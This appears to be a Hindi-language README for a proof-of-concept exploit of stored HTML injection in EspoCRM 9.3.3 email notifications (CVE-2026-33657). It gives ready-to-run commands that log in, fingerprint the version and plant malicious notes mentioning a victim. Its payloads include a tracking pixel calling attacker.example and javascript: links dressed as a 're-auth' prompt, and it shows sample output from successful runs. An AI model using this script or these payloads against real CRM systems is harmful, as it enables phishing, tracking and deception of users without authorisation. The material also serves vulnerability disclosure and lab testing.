
EspoCRM 9.3.3 - ईमेल सूचनाओं में संग्रहीत HTML इंजेक्शन
EspoCRM 9.3.3 ईमेल सूचनाओं में संग्रहीत HTML इंजेक्शन के लिए प्रमाणित प्रूफ-ऑफ-कॉन्सेप्ट।
EspoCRM 9.3.3 स्ट्रीम-नोट सूचना ईमेल को नोट बॉडी को Markdown के साथ रूपांतरित करके और परिणामी HTML को ट्रिपल ब्रेसेस ({{{post}}}) के साथ ईमेल टेम्पलेट्स में डालकर प्रस्तुत करता है। एक प्रमाणित उपयोगकर्ता जो स्ट्रीम पोस्ट बना सकता है और सूचना ट्रिगर कर सकता है, वह हमलावर-नियंत्रित HTML संग्रहीत कर सकता है जो बाद में उत्पन्न ईमेल बॉडी में प्रस्तुत किया जाता है।
यह एक्सप्लॉइट प्रवाह के हमलावर-नियंत्रित दूरस्थ भाग को निष्पादित करता है:
/api/v1/App/user के साथ संस्करण का फिंगरप्रिंट लेता है।Note बनाता है।--mention या --target-user-id का उपयोग करता है।ईमेल वितरण तब होता है जब EspoCRM का सामान्य जॉब या cron कतारबद्ध सूचना को संसाधित करता है।
SendEmailNotificationsrequestsNote रिकॉर्ड बनाने की क्षमता--mention <username>, या--target-user-id <id>निर्भरता स्थापित करें:
python3 -m pip install requests
पसंदीदा मेंशन-आधारित पथ:
python3 CVE-2026-33657.py \
-u http://127.0.0.1:8083 \
-U testuser \
-P 'Admin12345!' \
--mention admin
कस्टम ट्रैकिंग URL का उपयोग करें:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--mention victim \
--tracking-url https://attacker.example/pixel.gif
पूरी तरह से कस्टम HTML पेलोड का उपयोग करें:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--mention victim \
--payload '<img src="https://attacker.example/p.gif" onerror="alert(33657)"><a href="javascript:alert(33657)">open</a>'
मेंशन के बजाय विशिष्ट उपयोगकर्ता आईडी को लक्षित करें:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--target-user-id 0123456789abcdef0 \
--target-user-name 'Victim User'
केवल फिंगरप्रिंट, नोट बनाए बिना:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--detect-only
-u, --url आधार EspoCRM URL
-U, --username EspoCRM उपयोगकर्ता नाम
-P, --password EspoCRM पासवर्ड
--mention मेंशन करने के लिए उपयोगकर्ता नाम, @ के बिना
--target-user-id लक्षित स्ट्रीम-पोस्ट सूचनाओं के लिए उपयोगकर्ता आईडी
--target-user-name --target-user-id के लिए प्रदर्शन नाम
--payload Note में संग्रहीत करने के लिए कच्चा HTML पेलोड
--tracking-url डिफ़ॉल्ट पेलोड द्वारा उपयोग किया जाने वाला ट्रैकिंग पिक्सेल URL
--link-url डिफ़ॉल्ट पेलोड द्वारा उपयोग किया जाने वाला लिंक URL
--marker पेलोड से पहले जोड़ा जाने वाला मार्कर टेक्स्ट
--detect-only केवल संस्करण फिंगरप्रिंट; Note न बनाएं
--skip-version-check एक्सप्लॉइटेशन से पहले /api/v1/App/user छोड़ें
--force संस्करण फिंगरप्रिंट 9.3.3 न होने पर भी जारी रखें
--insecure TLS प्रमाणपत्र सत्यापन अक्षम करें
एक सफल रन एक दुर्भावनापूर्ण नोट बनाता है और सूचना लक्ष्य की पुष्टि करता है:
[*] /api/v1/App/user: HTTP 200
[*] Detected version: 9.3.3
[+] Version fingerprint is vulnerable: EspoCRM 9.3.3.
[*] Creating malicious Note as testuser
[*] Note response: HTTP 200 ...
[+] Exploit payload stored in Note post.
[+] Note id: 69fddeef8db756271
[+] Mention parsed: @admin -> user id 69fdcfb66c34ccb81
[+] Notification target list returned by API: 69fdcfb66c34ccb81
[+] Complete remote trigger submitted.
एक असुरक्षित इंस्टेंस पर, उत्पन्न HTML ईमेल बॉडी इंजेक्ट किए गए HTML को संरक्षित करती है। एक लैब कैप्चर इस तरह दिखता है:
<img src="http://attacker.example/full-process.gif" width="1" height="1" onerror="alert(33657)">
<a href="javascript:alert(33657)" style="color:red">re-auth</a>
स्थानीय EspoCRM लैब में, एक्सप्लॉइट चलाने के बाद, सूचना जॉब ट्रिगर करें:
sudo -u www-data php command.php run-job SendEmailNotifications
परिणामी ईमेल बॉडी में text/html भाग में इंजेक्ट किया गया HTML होना चाहिए।
@@version रिपोर्ट करता है, तो लक्ष्य संभवतः सोर्स-ट्री बिल्ड है। स्क्रिप्ट जारी रहती है क्योंकि अंतर्निहित कोड अभी भी असुरक्षित 9.3.3 टैग हो सकता है।--mention पार्स किया गया मेंशन उत्पन्न नहीं करता है, तो हमलावर की messagePermission और mentionPermission जांचें, और पुष्टि करें कि लक्ष्य उपयोगकर्ता नाम मौजूद है और सूचनाएं प्राप्त कर सकता है।